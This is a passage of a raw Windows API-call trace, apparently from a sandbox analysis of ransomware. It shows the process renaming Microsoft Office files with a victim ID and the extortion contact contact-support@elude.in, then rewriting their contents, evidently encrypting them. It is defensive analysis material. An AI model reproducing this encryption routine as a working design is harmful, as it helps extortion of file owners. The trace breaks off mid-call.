[0167.920] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.920] ReadFile (in: hFile=0x6a8, lpBuffer=0x712eeb0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x712eeb0*, lpNumberOfBytesRead=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.741] GetProcessHeap () returned 0x630000 [0176.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177600 [0176.741] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.741] WriteFile (in: hFile=0x6a8, lpBuffer=0x73608f8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x73608f8*, lpNumberOfBytesWritten=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.742] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.742] WriteFile (in: hFile=0x6a8, lpBuffer=0x736bcf7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x736bcf7*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.744] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.744] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.744] CloseHandle (hObject=0x6a8) returned 1 [0176.744] GetProcessHeap () returned 0x630000 [0176.744] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73608f8 | out: hHeap=0x630000) returned 1 [0176.990] GetProcessHeap () returned 0x630000 [0176.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712eeb0 | out: hHeap=0x630000) returned 1 [0176.990] GetProcessHeap () returned 0x630000 [0176.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177600 | out: hHeap=0x630000) returned 1 [0177.055] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.056] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\PowerViewRes.ko.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14ac0994, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f4ad059, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4eeea, dwReserved0=0xb907496, dwReserved1=0x712eea8, cFileName="PowerViewRes.ko.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0177.056] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0177.056] Sleep (dwMilliseconds=0x1) [0177.061] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC", len=0x48 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC") returned 1 [0177.061] GetProcessHeap () returned 0x630000 [0177.061] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b30) returned 0x707d3d0 [0177.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.152] CloseHandle (hObject=0x678) returned 1 [0177.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.153] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.153] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_STD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIF2B4~1.FIR")) returned 0x6d4ec0 [0177.153] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0177.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.154] GetProcessHeap () returned 0x630000 [0177.154] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c970 [0177.154] GetProcessHeap () returned 0x630000 [0177.154] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67be50 [0177.154] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.154] ReadFile (in: hFile=0x678, lpBuffer=0x67c970, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c970*, lpNumberOfBytesRead=0x4bfff0c*=0x280, lpOverlapped=0x0) returned 1 [0177.283] GetProcessHeap () returned 0x630000 [0177.283] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0177.283] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.283] WriteFile (in: hFile=0x678, lpBuffer=0x67be50*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x67be50*, lpNumberOfBytesWritten=0x4bfff0c*=0x280, lpOverlapped=0x0) returned 1 [0177.283] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.283] WriteFile (in: hFile=0x678, lpBuffer=0x67c0cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c0cf*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.283] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.283] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.283] CloseHandle (hObject=0x678) returned 1 [0177.283] GetProcessHeap () returned 0x630000 [0177.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67be50 | out: hHeap=0x630000) returned 1 [0177.283] GetProcessHeap () returned 0x630000 [0177.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c970 | out: hHeap=0x630000) returned 1 [0177.283] GetProcessHeap () returned 0x630000 [0177.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0177.283] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.284] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x2f9e417e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x4bffd20, dwReserved1=0x67c970, cFileName="WINPROJ_STD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIF2B4~1.FIR")) returned 0x6d5280 [0177.284] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.284] Sleep (dwMilliseconds=0x1) [0177.461] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK", len=0x44 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK") returned 1 [0177.461] GetProcessHeap () returned 0x630000 [0177.461] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ad4) returned 0x707d3d0 [0177.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.462] CloseHandle (hObject=0x714) returned 1 [0177.462] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.462] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x482f84d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VI52DE~1.FIR")) returned 0x6d5280 [0177.463] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.463] GetProcessHeap () returned 0x630000 [0177.463] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4628 [0177.463] GetProcessHeap () returned 0x630000 [0177.463] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4f28 [0177.463] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.463] ReadFile (in: hFile=0x714, lpBuffer=0x6a4628, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4628*, lpNumberOfBytesRead=0x4bfff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.464] GetProcessHeap () returned 0x630000 [0177.464] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0177.465] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.465] WriteFile (in: hFile=0x714, lpBuffer=0x6a4f28*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4f28*, lpNumberOfBytesWritten=0x4bfff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.465] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.465] WriteFile (in: hFile=0x714, lpBuffer=0x6a4f87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4f87*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.465] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.465] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.465] CloseHandle (hObject=0x714) returned 1 [0177.465] GetProcessHeap () returned 0x630000 [0177.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4f28 | out: hHeap=0x630000) returned 1 [0177.465] GetProcessHeap () returned 0x630000 [0177.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4628 | out: hHeap=0x630000) returned 1 [0177.465] GetProcessHeap () returned 0x630000 [0177.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0177.465] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2fbade0d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x4bffd20, dwReserved1=0x6a4628, cFileName="VISIO_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VI52DE~1.FIR")) returned 0x6d5000 [0177.466] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0177.466] Sleep (dwMilliseconds=0x1) [0177.485] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS", len=0x41 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS") returned 1 [0177.485] GetProcessHeap () returned 0x630000 [0177.485] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ab4) returned 0x707d3d0 [0177.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\terrcott.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.488] CloseHandle (hObject=0x678) returned 1 [0177.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\terrcott.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\terrcott.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.489] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.489] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x47e33aa, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x47e33aa, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x47e33aa, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TERRCOTT.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TERRCO~1.FIR")) returned 0x6d5540 [0177.489] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0177.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\terrcott.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.489] GetProcessHeap () returned 0x630000 [0177.489] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0177.489] GetProcessHeap () returned 0x630000 [0177.489] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x72b5678 [0177.489] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.489] ReadFile (in: hFile=0x678, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x4bfff0c*=0xd60, lpOverlapped=0x0) returned 1 [0177.504] GetProcessHeap () returned 0x630000 [0177.504] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0177.505] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.505] WriteFile (in: hFile=0x678, lpBuffer=0x72b5678*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b5678*, lpNumberOfBytesWritten=0x4bfff0c*=0xd60, lpOverlapped=0x0) returned 1 [0177.505] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.505] WriteFile (in: hFile=0x678, lpBuffer=0x72b63d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b63d7*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.505] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.505] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.505] CloseHandle (hObject=0x678) returned 1 [0177.505] GetProcessHeap () returned 0x630000 [0177.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b5678 | out: hHeap=0x630000) returned 1 [0177.505] GetProcessHeap () returned 0x630000 [0177.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0177.506] GetProcessHeap () returned 0x630000 [0177.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0177.515] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x47e33aa, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x47e33aa, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2fc10609, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0xb907496, dwReserved1=0x695ec8, cFileName="TERRCOTT.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TERRCO~1.FIR")) returned 0x6d5280 [0177.515] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.515] Sleep (dwMilliseconds=0x1) [0177.571] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr", len=0x43 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr") returned 1 [0177.571] GetProcessHeap () returned 0x630000 [0177.571] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ab0) returned 0x707d3d0 [0177.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeword.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0177.572] CloseHandle (hObject=0x408) returned 1 [0177.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.572] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeword.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeword.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeWord.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TELLME~1.FIR")) returned 0x6d4e40 [0177.573] FindClose (in: hFindFile=0x6d4e40 | out: 